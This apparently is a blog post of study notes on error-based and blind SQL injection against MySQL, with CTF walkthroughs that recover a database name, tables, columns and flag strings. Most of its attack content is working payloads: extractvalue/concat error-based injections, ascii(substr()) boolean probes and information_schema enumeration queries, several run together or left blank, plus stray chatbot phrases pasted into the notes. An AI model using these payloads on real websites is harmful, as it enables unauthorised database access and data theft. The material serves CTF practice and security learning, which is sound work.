Error Based SQL Injection
1) Syntax Error vs. Logic Error
- Compilation Process: When executing code, a compilation process occurs.
- Syntax Error: If a syntax error occurs, the code will not execute.
- SQL Syntax Error: Generally not useful for extracting data.
- Data Extraction: The
SELECT
statement must be used to retrieve data.
2) Logic Error
- SQL Error: Errors occurring due to incorrect SQL syntax can be exploited using Error-Based SQLi.
- Error Message Injection: The goal is to manipulate the error message so that it displays a
SELECT
query result.
Tips for Inducing Logic Errors
- Server behavior varies, requiring individual research for effective exploitation.
Extractvalue Function
Extractvalue('XML text', 'XML expression')
Example injection:
___' and extractvalue('1', concat(0x3a, (select '____'))) and '1'='1
- Replace
____
with the desiredSELECT
statement to extract its result. - Special symbols must be included to trigger an error.
Concat Function
- Usage: Combines strings together.
- Hexadecimal Representation:
concat('hello', 'test') -> hellotest concat(0x3a, 'test') -> :test
0x3a
represents:
Extractvalue Function Characteristics
- Requires special characters like
:
to cause an error and display data.
This method takes advantage of error messages to extract sensitive information from the database by carefully crafting SQL queries. If you're looking for further explanations or practical examples, let me know!
Error-Based SQL Injection Steps
- Identify SQL Injection Point
- Check if SQL errors are displayed on the screen.
- Error Output Function
- Use
extractvalue
to trigger an error and extract data. - Construct Attack Format
- Retrieve Database Name
Insert: select database() - Retrieve Table Name
- Retrieve Column Name
- Retrieve
name
Column fromgame_table
___' and extractvalue('1', concat(0x3a, (select '____'))) and '1'='1
Insert the desired query in place of ____
to retrieve data.
select table_name from information_schema.tables where table_schema = '_________' limit 1,1
select column_name from information_schema.columns where table_name='____'
select name from game limit 0,1
Blind SQL Injection
- If SQL query results are displayed on the screen → Union SQLi
- If an error message is shown → Error-Based SQLi
- Blind SQLi
- Used in cases where query results are not visible, such as login pages or ID duplication checks.
- Extracts data by analyzing differences in true/false responses.
Let me know if you'd like a deeper breakdown of any of these methods
Blind SQLi Process
1. Identify SQL Injection Point
- Test by inserting
AND
conditions:
normaltic' and '1'='1 -- True normaltic' and '1'='2 -- False
- Verify if the response changes based on true/false conditions.
2. Check if SELECT
Statements Can Be Used
normaltic' and ('1'='1') and '1'='1 normaltic' and ((select 'test')='test') and '1'='1
- Ensure
SELECT
statements are not filtered.
3. Construct Attack Format
_____' and (substr((__SQL__), 1, 1) and '1'='1
substr()
extracts characters from a string:- Convert characters into numbers using ASCII codes:
- Example format:
- Test values from 33 to 127, inputting them one by one to extract each letter.
- Use Burp Suite's Repeater tool to verify each step
substr('test', 1, 1) → 't' substr('test', 1, 2) → 'te'
ascii('a') → 97 ascii(substr((___SQL__), 1, 1)) > 0
_____' and (ascii(substr((___SQL__), 1, 1)) > 0) and '1'='1
4. Extract Database Name
select database()
5. Retrieve Table Names
select table_name from information_schema.tables where table_schema = '_________'
6. Retrieve Column Names
select column_name from information_schema.columns where table_name='____'
7. Extract the name
Column from game_table
select name from game limit 0,1
Error Based SQLi CTF
1. Find the SQLi point
Check if SQL errors are displayed on the screen.
2. Error-based output function
Use: extractvalue
3. Create the attack format
Example injection:
4. Extract the Database Name
Use:
Injection:
Assume the database name is: errSqli
5. Get Table Names
Query:
Injection:
Sample result by index:
-
flagTable (0,1)
-
member (1,1)
-
plusFlag_Table (2,1)
6. Get Column Names
Query:
Injection:
Sample result by index:
-
idx (0,1)
-
flag (1,1)
7. Extract values from the flagTable
, column flag
Query:
Injection:
Blind SQLi CTF
1. Find the SQL Injection Point
-
normaltic' and '1'='1
→ True -
normaltic' and '1'='2
→ False
2. Check if SELECT
statements are usable
-
Injection:
3. Create the Blind SQLi Attack Format
-
Injection to check if the ASCII value of the first character of a string is greater than 70:
4. Extract Database Name
-
Query:
-
Injection format:
Retrieved characters:
-
98 → b
-
108 → l
-
105 → i
-
110 → n
-
100 → d
-
83 → S
-
113 → q
-
108 → l
-
105 → i
-
X → end
→ Database name is blindSqli
5. Extract Table Name
-
Query:
-
Injection format:
Retrieved characters:
-
102 → f
-
108 → l
-
97 → a
-
103 → g
-
84 → T
-
97 → a
-
98 → b
-
108 → l
-
101 → e
-
X → end
→ Table name is flagTable
6. Extract Column Names
-
Query:
-
Injection format:
limit 0,1 → idx
-
105 → i
-
100 → d
-
120 → x
-
X → end
limit 1,1 → flag
-
102 → f
-
108 → l
-
97 → a
-
103 → g
-
X → end
→ Column names are idx
and flag
7. Extract Data from flag
Column in flagTable
-
Query:
-
Injection format:
115 → s
-
101 → e
-
103 → g
-
102 → f
-
97 → a
-
117 → u
-
108 → l
-
116 → t
-
123 → {
-
67 → C
-
111 → o
-
110 → n
-
103 → g
-
114 → r
-
97 → a
-
116 → t
-
122 → z
-
95 → _
-
102 → f
-
105 → i
-
114 → r
-
115 → s
-
116 → t
-
66 → B
-
108 → l
-
105 → i
-
110 → n
-
100 → d
-
83 → S
-
113 → q
-
108 → l
-
105 → i
-
125 → }
1. Error based SQLi check
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 0,1))) and '1'='1
normaltic' and extractvalue('1', concat(0x3a, (select flag from flag_table
limit 0, 1))) and '1'='11. Error based SQLi check
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 0,1))) and '1'='1
normaltic' and extractvalue('1', concat(0x3a, (select flag1 from flag_table
limit 0, 1))) and '1'='1normaltic' and extractvalue('1', concat(0x3a, (select flag4 from flag_table
limit 0, 1))) and '1'='1normaltic' and extractvalue('1', concat(0x3a, (select flag5 from flag_table
limit 0, 1))) and '1'='1normaltic' and extractvalue('1', concat(0x3a, (select flag6 from flag_table
limit 0, 1))) and '1'='1normaltic' and extractvalue('1', concat(0x3a, (select flag7 from flag_table
limit 0, 1))) and '1'='1normaltic' and extractvalue('1', concat(0x3a, (select flag8 from flag_table
limit 0, 1))) and '1'='11. Error based SQLi check
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flagTable_this' limit 0,1))) and '1'='1
normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this
limit 0, 1))) and '1'='1normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this
limit 13, 1))) and '1'='11. Error based SQLi check
normaltic' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name='flagTable_this' limit 0,1))) and '1'='1
normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this
limit 0, 1))) and '1'='1normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable_this
limit 13, 1))) and '1'='1
댓글 없음:
댓글 쓰기